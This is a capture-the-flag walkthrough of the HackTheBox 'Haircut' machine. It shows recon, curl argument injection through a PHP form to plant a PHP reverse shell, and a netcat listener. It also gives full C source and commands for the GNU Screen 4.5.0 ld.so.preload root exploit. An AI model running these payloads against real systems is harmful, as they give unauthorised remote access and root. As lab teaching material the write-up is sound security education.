6 minute read

Machine Information


Haircut is rated medium, although compared some other boxes it is relatively simple. It’s main purpose is to demonstrate the problem with unsanitsed user inputs for CURL arguments. Skills required are basic knowledge of Linux, and enumerating ports and services. Skills learned are command injections and exploiting software vulnerabilities to escalate to root.

Hosting Site HackTheBox
Link To Machine HTB - 021 - Medium - Haircut
Machine Release Date 26th March 2017
Date I Completed It 4th June 2020
Distribution used Kali 2019.1 – Release Info

Initial Recon

Check for open ports with Nmap:

root@kali:~/htb/haircut# ports=$(nmap -p- --min-rate=1000 -T4 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
root@kali:~/htb/haircut# nmap -p$ports -v -sC -sV -oA haircut

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-04 21:42 BST
Scanning [4 ports]
Completed Ping Scan at 21:42, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:42
Completed Parallel DNS resolution of 1 host. at 21:42, 0.01s elapsed
Initiating SYN Stealth Scan at 21:42
Scanning [2 ports]
Discovered open port 80/tcp on
Discovered open port 22/tcp on
Completed SYN Stealth Scan at 21:42, 0.05s elapsed (2 total ports)
Initiating Service scan at 21:42
Scanning 2 services on
Completed Service scan at 21:42, 6.07s elapsed (2 services on 1 host)
Nmap scan report for
Host is up (0.018s latency).

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
|   256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
|_  256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
80/tcp open  http    nginx 1.10.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title:  HTB Hairdresser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.98 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (128B)

Just two ports open, let have a look with gobuster:

root@kali:~# gobuster -t 100 dir -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u -x php
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        100
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Expanded:       true
[+] Timeout:        10s
2020/06/04 16:42:17 Starting gobuster
=============================================================== (Status: 301) (Status: 200)
2020/06/04 16:49:24 Finished

Gaining Access

We have found a hidden folder and a php page. Let’s have a look at the site, and these as well:


Just a static image on the home page, nothing in the source, try the uploads folder we found:


We can’t browse to it, try the php file we found:


Just a text box with with what looks to be a test file pre-entered, try clicking go:


The output and the picture are clues that suggest the text box is taking what is entered as a parameter, and passing it to curl. We can test this by starting a web server on our Kali machine:

root@kali:~/htb/haircut# python -m SimpleHTTPServer
Serving HTTP on port 8000 ...

Now try entering our local IP to see if we can connect to our web server:


We get a connection, so let’s see if we can do command injection:


Nope, there is some level of checking against our input. Let’s see if we can get curl to display its help:


Now we know we are passing a parameter to curl, which means we can try using -o to upload a file:


Check back at our HTTP server and we see the file was requested by the box:

root@kali:~/htb/haircut# python -m SimpleHTTPServer
Serving HTTP on port 8000 ... - - [04/Jun/2020 16:46:30] "GET / HTTP/1.1" 200 - - - [04/Jun/2020 17:03:09] "GET /hello.html HTTP/1.1" 200 -

See if we can get to that file on the box:


Success, so we have confirmed we can upload a file, time to put a shell on there:

root@kali:~/htb/haircut# locate shell.php

root@kali:~/htb/haircut# cp /usr/share/webshells/php/php-reverse-shell.php .

Just had to edit that shell script to put my current IP in it, now upload through the web page as before:


Back on Kali get a nc session listening:

root@kali:~/htb/haircut# nc -nlvp 1234
listening on [any] 1234 ...

Now back on box we browse to the uploaded shell:


User Flag

Switch to Kali again and we have a connection:

connect to [] from (UNKNOWN) [] 51248
Linux haircut 4.4.0-78-generic #99-Ubuntu SMP Thu Apr 27 15:29:09 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 21:38:58 up  4:01,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

First thing is upgrade to a proper shell:

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@haircut:/$ ^Z
[1]+  Stopped                 nc -nlvp 1234
root@kali:~/htb/haircut# stty raw -echo
root@kali:~/htb/haircut# nc -nlvp 1234

Confirm who we are:

www-data@haircut:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Let’s see if we can get the user flag:

www-data@haircut:/etc$ cat /home/maria/Desktop/user.txt

Privilege Escalation

We have the user flag, time to try and escalate to root. First thing I check for is SUID binaries:

www-data@haircut:/$ find / -perm -4000 2>/dev/null

We see an old version of screen, let’s check it out:

www-data@haircut:/$ /usr/bin/screen-4.5.0 -v
Screen version 4.05.00 (GNU) 10-Dec-16

Check searchsploit for exploits:

root@kali:~/htb/haircut# searchsploit screen 4.5.0
--------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                   |  Path
--------------------------------------------------------------------------------- ---------------------------------
GNU Screen 4.5.0 - Local Privilege Escalation                                    | linux/local/41154.sh
GNU Screen 4.5.0 - Local Privilege Escalation (PoC)                              | linux/local/41152.txt
--------------------------------------------------------------------------------- ---------------------------------

As suspected we have found something, let’s check it out:

root@kali:~/htb/haircut# searchsploit -m linux/local/41154.sh
  Exploit: GNU Screen 4.5.0 - Local Privilege Escalation
      URL: https://www.exploit-db.com/exploits/41154
     Path: /usr/share/exploitdb/exploits/linux/local/41154.sh
File Type: Bourne-Again shell script, ASCII text executable, with CRLF line terminators

Looking at the script, we will need to manually create the files instead of letting the script do it:

root@kali:~/htb/haircut# cat << EOF > /tmp/libhax.c
> #include <stdio.h>
> #include <sys/types.h>
> #include <unistd.h>
> __attribute__ ((__constructor__))
> void dropshell(void){
>    chown("/tmp/rootshell", 0, 0);
>    chmod("/tmp/rootshell", 04755);
>    unlink("/etc/ld.so.preload");
>    printf("[+] done!\n");
> }

File libhax.c created containing the above, now need to compile it:

root@kali:~/htb/haircut# gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
/tmp/libhax.c: In function ‘dropshell’:
/tmp/libhax.c:10:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
   10 |     chmod("/tmp/rootshell", 04755);
      |     ^~~~~
root@kali:~/htb/haircut# rm -f /tmp/libhax.c

Now do the second file:

root@kali:~/htb/haircut# cat << EOF > /tmp/rootshell.c
> #include <stdio.h>
> int main(void){
>     setuid(0);
>     setgid(0);
>     seteuid(0);
>     setegid(0);
>     execvp("/bin/sh", NULL, NULL);
> }

File created, now compile this one:

root@kali:~/htb/haircut# gcc -o /tmp/rootshell /tmp/rootshell.c
/tmp/rootshell.c: In function ‘main’:
/tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
    3 |     setuid(0);
      |     ^~~~~~
/tmp/rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
    4 |     setgid(0);
      |     ^~~~~~
/tmp/rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
    5 |     seteuid(0);
      |     ^~~~~~~
/tmp/rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
    6 |     setegid(0);
      |     ^~~~~~~
/tmp/rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
    7 |     execvp("/bin/sh", NULL, NULL);
      |     ^~~~~~
/tmp/rootshell.c:7:5: warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]
root@kali:~/htb/haircut# rm -f /tmp/rootshell.c

We can ignore the errors. Now get the files over to the box:

www-data@haircut:/etc$ cd /tmp

www-data@haircut:/tmp$ wget
--2020-06-04 22:16:06--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 16136 (16K) [application/octet-stream]
Saving to: 'libhax.so'
libhax.so           100%[===================>]  15.76K  --.-KB/s    in 0.02s
2020-06-04 22:16:06 (888 KB/s) - 'libhax.so' saved [16136/16136]

www-data@haircut:/tmp$ wget
--2020-06-04 22:16:23--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 16824 (16K) [application/octet-stream]
Saving to: 'rootshell.1'
rootshell.1         100%[===================>]  16.43K  --.-KB/s    in 0.03s
2020-06-04 22:16:23 (514 KB/s) - 'rootshell' saved [16824/16824]

Now we can try to escalate, first run screen:

www-data@haircut:/tmp$ cd /etc
www-data@haircut:/etc$ umask 000
<en -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"

www-data@haircut:/etc$ screen -ls # screen itself is setuid, so...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.

Root Flag

Ignore the error and run our exploit:

www-data@haircut:/etc$ /tmp/rootshell
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

It worked, just need to get our flag:

# cat /root/root.txt

All done. See you next time.